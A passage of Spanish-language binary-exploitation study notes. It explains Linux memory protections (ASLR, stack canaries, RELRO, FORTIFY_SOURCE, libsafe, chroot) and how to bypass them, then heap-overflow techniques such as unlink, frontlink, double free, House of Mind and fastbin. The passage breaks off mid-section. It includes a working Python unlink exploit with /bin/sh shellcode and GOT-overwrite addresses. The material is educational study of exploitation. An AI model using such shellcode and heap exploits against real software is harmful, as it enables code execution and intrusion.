Las bibliotecas están en una posición con 16 bits de aleatoriedad = 65.536 posibles direcciones. Si un servidor vulnerable llama a fork(), el espacio de direcciones de memoria es clonado en el proceso hijo y se mantiene intacto. Por lo que se puede intentar hacer un ataque de fuerza bruta a la función usleep() de libc pasándole como argumento “16” de forma que cuando tarde más de lo normal en responder se habrá encontrado dicha función. Sabiendo dónde está dicha función se puede obtener delta\_mmap y calcular las demás.
|
||
|
||
La única forma de estar seguros de que el ASLR funciona es usando arquitectura de 64 bits. Ahí no hay ataques de fuerza bruta.
|
||
|
||
**StackGuard y StackShield**
|
||
|
||
**StackGuard** inserta antes del EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Siguen siendo vulnerables recv(), memcpy(), read(), bcopy() y no protege el EBP
|
||
|
||
**StackShield** es más elaborado que StackGuard
|
||
|
||
Guarda en una tabla (Global Return Stack) todas las direcciones EIP de vuelta de forma que el desbordamiento no cause ningún daño. Además, se pueden comparar ambas direcciones para ver si ha habido un desbordamiento.
|
||
|
||
También se puede comprobar la dirección de retorno con un valor límite, así si el EIP se va a un sitio distinto del habitual como el espacio de datos se sabrá. Pero esto se sortea con Ret-to-lib, ROPs o ret2ret.
|
||
|
||
Como se puede ver, StackShield tampoco protege las variables locales.
|
||
|
||
**Stack Smash Protector (ProPolice) -fstack-protector**
|
||
|
||
Se pone el canario antes del EBP. Reordena las variables locales para que los búferes estén en las posiciones más altas y así no puedan sobreescribir otras variables.
|
||
|
||
Además, realiza una copia segura de los argumentos pasados encima de la pila (encima de las vars locales) y usa estas copias como argumentos.
|
||
|
||
No puede proteger arrays de menos de 8 elementos ni búferes que formen parte de una estructura del usuario.
|
||
|
||
El canario es un número aleatorio sacado de “/dev/urandom” o si no es 0xff0a0000. Se almacena en TLS (Thread Local Storage). Los hilos comparten el mismo espacio de memoria, el TLS es un área que tiene variables globales o estáticas de cada hilo. Sin embargo, en principio estas son copiadas del proceso padre aunque el proceso hijo podría modificar estos datos sin modificar los del padre ni los de los demás hijos. El problema es que si se usa fork() pero no se crea un nuevo canario, entonces todos los procesos (padre e hijos) usan el mismo canario. En i386 se almacena en gs:0x14 y en x86\_64 se almacena en fs:0x28
|
||
|
||
Esta protección localiza funciones que tengan búferes que puedan ser atacados e incluye en ellas código al principio de la función para colocar el canario y código al final para comprobarlo.
|
||
|
||
La función fork() realiza una copia exacta del proceso del padre, por eso mismo si un servidor web llama a fork() se puede hacer un ataque de fuerza bruta byte por byte hasta averiguar el canario que se está utilizando.
|
||
|
||
Si se usa la función execve() después de fork(), se sobreescribe el espacio y el ataque ya no es posible. vfork() permite ejecutar el proceso hijo sin crear un duplicado hasta que el proceso hijo intentase escribir, entonces sí creaba el duplicado.
|
||
|
||
**Relocation Read-Only (RELRO)**
|
||
|
||
### Relro
|
||
|
||
**Relro (Reubicación Solo Lectura)** afecta los permisos de memoria de manera similar a NX. La diferencia es que mientras NX hace que el stack sea ejecutable, RELRO hace que **ciertas cosas sean solo lectura** para que **no podamos escribir** en ellas. La forma más común en que he visto que esto sea un obstáculo es previniendo que hagamos una **sobrescritura de la tabla `got`**, lo cual se tratará más adelante. La tabla `got` contiene direcciones para funciones de libc para que el binario sepa cuáles son las direcciones y pueda llamarlas. Veamos cómo se ven los permisos de memoria para una entrada de la tabla `got` de un binario con y sin relro.
|
||
|
||
Con relro:
|
||
```bash
|
||
gef➤ vmmap
|
||
Start End Offset Perm Path
|
||
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
|
||
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
|
||
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
|
||
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
|
||
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
|
||
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
|
||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||
gef➤ p fgets
|
||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||
gef➤ search-pattern 0x7ffff7e4d100
|
||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
|
||
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||
```
|
||
Sin relro:
|
||
```bash
|
||
gef➤ vmmap
|
||
Start End Offset Perm Path
|
||
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
|
||
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
|
||
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
|
||
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
|
||
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
|
||
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
|
||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||
gef➤ p fgets
|
||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||
gef➤ search-pattern 0x7ffff7e4d100
|
||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
|
||
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||
```
|
||
Para el binario **sin relro**, podemos ver que la dirección de entrada `got` para `fgets` es `0x404018`. Mirando las asignaciones de memoria, vemos que está entre `0x404000` y `0x405000`, que tiene los **permisos `rw`**, lo que significa que podemos leer y escribir en ella. Para el binario **con relro**, vemos que la dirección de la tabla `got` para la ejecución del binario (pie está habilitado, por lo que esta dirección cambiará) es `0x555555557fd0`. En el mapeo de memoria de ese binario, se encuentra entre `0x0000555555557000` y `0x0000555555558000`, que tiene el **permiso de memoria `r`**, lo que significa que solo podemos leer de ella.
|
||
|
||
Entonces, ¿cuál es el **bypass**? El bypass típico que uso es simplemente no escribir en regiones de memoria que relro hace de solo lectura, y **encontrar una manera diferente de obtener la ejecución de código**.
|
||
|
||
Tenga en cuenta que para que esto suceda, el binario necesita conocer previamente a la ejecución las direcciones de las funciones:
|
||
|
||
* Vinculación perezosa: La dirección de una función se busca la primera vez que se llama a la función. Por lo tanto, el GOT necesita tener permisos de escritura durante la ejecución.
|
||
* Vincular ahora: Las direcciones de las funciones se resuelven al principio de la ejecución, luego se otorgan permisos de solo lectura a secciones sensibles como .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\*
|
||
|
||
Para verificar si un programa usa Vincular ahora puedes hacer:
|
||
```bash
|
||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||
```
|
||
Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT (Procedure Linkage Table), de aquí se realiza un salto (jmp) a la GOT y descubre que esa entrada no ha sido resuelta (contiene una dirección siguiente de la PLT). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT.
|
||
|
||
Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT (rtfd) y averigua la dirección de la función, la guarda en la GOT y la llama.
|
||
|
||
Al cargar un binario en memoria el compilador le ha dicho en qué offset tiene que situar datos que se deben de cargar cuando se corre el programa.
|
||
|
||
Lazy binding —> La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla.
|
||
|
||
Bind now —> Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro** y **-z now**
|
||
|
||
A pesar de esto, en general los programas no están compilados con esas opciones luego estos ataques siguen siendo posibles.
|
||
|
||
**readelf -l /proc/ID_PROC/exe | grep BIND_NOW** —> Para saber si usan el BIND NOW
|
||
|
||
**Fortify Source -D_FORTIFY_SOURCE=1 o =2**
|
||
|
||
Trata de identificar las funciones que copian de un sitio a otro de forma insegura y cambiar la función por una función segura.
|
||
|
||
Por ej:
|
||
char buf[16];
|
||
strcpy(but, source);
|
||
|
||
La identifica como insegura y entonces cambia strcpy() por __strcpy_chk() utilizando el tamaño del buffer como tamaño máximo a copiar.
|
||
|
||
La diferencia entre **=1** o **=2** es que:
|
||
|
||
La segunda no permite que **%n** venga de una sección con permisos de escritura. Además el parámetro para acceso directo de argumentos solo puede ser usado si se usan los anteriores, es decir, solo se pueda usar **%3$d** si antes se ha usado **%2$d** y **%1$d**
|
||
|
||
Para mostrar el mensaje de error se usa el argv[0], por lo que si se pone en el la dirección de otro sitio (como una variable global) el mensaje de error mostrará el contenido de dicha variable. Página 191
|
||
|
||
**Reemplazo de Libsafe**
|
||
|
||
Se activa con: LD_PRELOAD=/lib/libsafe.so.2
|
||
o
|
||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||
|
||
Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaciones con -fomit-frame-pointer, no compilaciones estáticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid).
|
||
|
||
**ASCII Armored Address Space**
|
||
|
||
Consiste en cargar las librerías compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene apenas ningún ataque, y menos en little endian.
|
||
|
||
**ret2plt**
|
||
|
||
Consiste en realizar un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2º byte de system()… Al final se llama la dirección guardada en GOT que será system()
|
||
|
||
**Falso EBP**
|
||
|
||
Para las funciones que usen el EBP como registro para apuntar a los argumentos al modificar el EIP y apuntar a system() se debe haber modificado el EBP también para que apunte a una zona de memoria que tenga 2 bytes cualesquiera y después la dirección a &"/bin/sh".
|
||
|
||
**Jaulas con chroot()**
|
||
|
||
debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
|
||
|
||
Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
|
||
|
||
**Instrumentación de código**
|
||
|
||
Valgrind —> Busca errores
|
||
Memcheck
|
||
RAD (Return Address Defender)
|
||
Insure++
|
||
|
||
## **8 Heap Overflows: Exploits básicos**
|
||
|
||
**Trozo asignado**
|
||
|
||
prev_size |
|
||
size | —Cabecera
|
||
*mem | Datos
|
||
|
||
**Trozo libre**
|
||
|
||
prev_size |
|
||
size |
|
||
*fd | Ptr forward chunk
|
||
*bk | Ptr back chunk —Cabecera
|
||
*mem | Datos
|
||
|
||
Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan)
|
||
|
||
En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
|
||
|
||
Si al liberar un trozo alguno de los contiguos se encuentra libre, estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte en el bin adecuado.
|
||
|
||
unlink(){
|
||
BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes
|
||
FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes
|
||
FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk
|
||
BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk
|
||
}
|
||
|
||
Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra:
|
||
|
||
BK = P->bk = &shellcode
|
||
FD = P->fd = &__dtor_end__ - 12
|
||
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
|
||
|
||
Y así se ejecuta al salir del programa la shellcode.
|
||
|
||
Además, la 4ª sentencia de unlink() escribe algo y la shellcode tiene que estar preparada para esto:
|
||
|
||
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
|
||
|
||
Por lo tanto el exploit se crea:
|
||
|
||
En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode.
|
||
|
||
Después de la shellcode metemos relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescriba el prev_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev_size modificado que le dirá que sí está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**.
|
||
|
||
Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quiere sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD). Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
|
||
|
||
**from struct import * **
|
||
|
||
**import os**
|
||
|
||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
|
||
|
||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||
|
||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||
|
||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||
|
||
**prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
|
||
|
||
**fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre**
|
||
|
||
**addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
|
||
|
||
**got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lance la shellcode la 2ª vez que se llame a free)**
|
||
|
||
**payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
|
||
|
||
**payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12**
|
||
|
||
**os.system("./8.3.o " + payload)**
|
||
|
||
**unset() liberando en sentido inverso (wargame)**
|
||
|
||
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
|
||
|
||
En ese caso:
|
||
|
||
En el chunk c se pone el shellcode
|
||
|
||
El chunk a lo usamos para sobreescribir el b de forma que el size tenga el bit PREV_INUSE desactivado de forma que piense que el chunk a está libre.
|
||
|
||
Además, se sobreescribe en la cabecera b el size para que valga -4.
|
||
|
||
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
|
||
|
||
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
|
||
|
||
**Técnica de Frontlink**
|
||
|
||
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
|
||
|
||
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
|
||
|
||
Necesita:
|
||
|
||
Un buffer que pueda desbordarse con la función de entrada de datos
|
||
|
||
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
|
||
|
||
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
|
||
|
||
Un buffer declarado antes del paso 3 que permita sobreescribir el prev_size de este
|
||
|
||
De esta forma logrando sobrescribir en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
|
||
|
||
**Vulnerabilidad double free()**
|
||
|
||
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
|
||
|
||
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
|
||
|
||
**After free()**
|
||
|
||
Un puntero previamente liberado es usado de nuevo sin control.
|
||
|
||
## **8 Heap Overflows: Exploits avanzados**
|
||
|
||
Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().
|
||
|
||
**The house of mind**
|
||
|
||
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
|
||
|
||
Una llamada a free() provoca llamar a public_fREe(mem), este hace:
|
||
|
||
mstate ar_ptr;
|
||
|
||
mchunkptr p;
|
||
|
||
…
|
||
|
||
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
|
||
|
||
…
|
||
|
||
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
|
||
|
||
…
|
||
|
||
_int_free(ar_ptr, mem);
|
||
|
||
}
|
||
|
||
En [1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info)
|
||
|
||
De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr)
|
||
|
||
De esta forma se llama a _int_free(ar_ptr, mem), es decir, **_int_free(0x0804a000, 0x081002a0)**
|
||
_int_free(mstate av, Void_t* mem){
|
||
…
|
||
bck = unsorted_chunks(av);
|
||
fwd = bck->fd;
|
||
p->bk = bck;
|
||
p->fd = fwd;
|
||
bck->fd = p;
|
||
fwd->bk = p;
|
||
|
||
..}
|
||
|
||
Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
|
||
|
||
Tal y como se define unsorted_chunks, sabemos que:
|
||
bck = &av->bins[2]-8;
|
||
fwd = bck->fd = *(av->bins[2]);
|
||
fwd->bk = *(av->bins[2] + 12) = p;
|
||
|
||
Por lo tanto si en av->bins[2] escribimos el valor de __DTOR_END__-12 en la última instrucción se escribirá en __DTOR_END__ la dirección del segundo trozo.
|
||
|
||
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de __DTOR_END__-12 porque de ahí la sacará av->bins[2]
|
||
|
||
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins[2]
|
||
|
||
En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA
|
||
|
||
A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
|
||
|
||
De esta forma se llamará a _int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en __DTOR_END__ la dirección del prev_size del TROZO2 el cual saltará a la shellcode.
|
||
|
||
Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload.
|
||
|
||
Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él.
|
||
|
||
**Fastbin**
|
||
|
||
Es una variante de The house of mind
|
||
|
||
nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función _int_free()
|
||
|
||
fb = &(av->fastbins[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2
|
||
|
||
…
|
||
|
||
p->fd = *fb
|
||
|
||
*fb = p
|
||
|
||
De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir.
|
||
|
||
Dado que con The House of Mind se vio que nosotros controlábamos la posición del av.
|
||
|
||
Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins[-1], que apuntará a av->max_fast
|
||
|
||
En este caso av->max_fast
|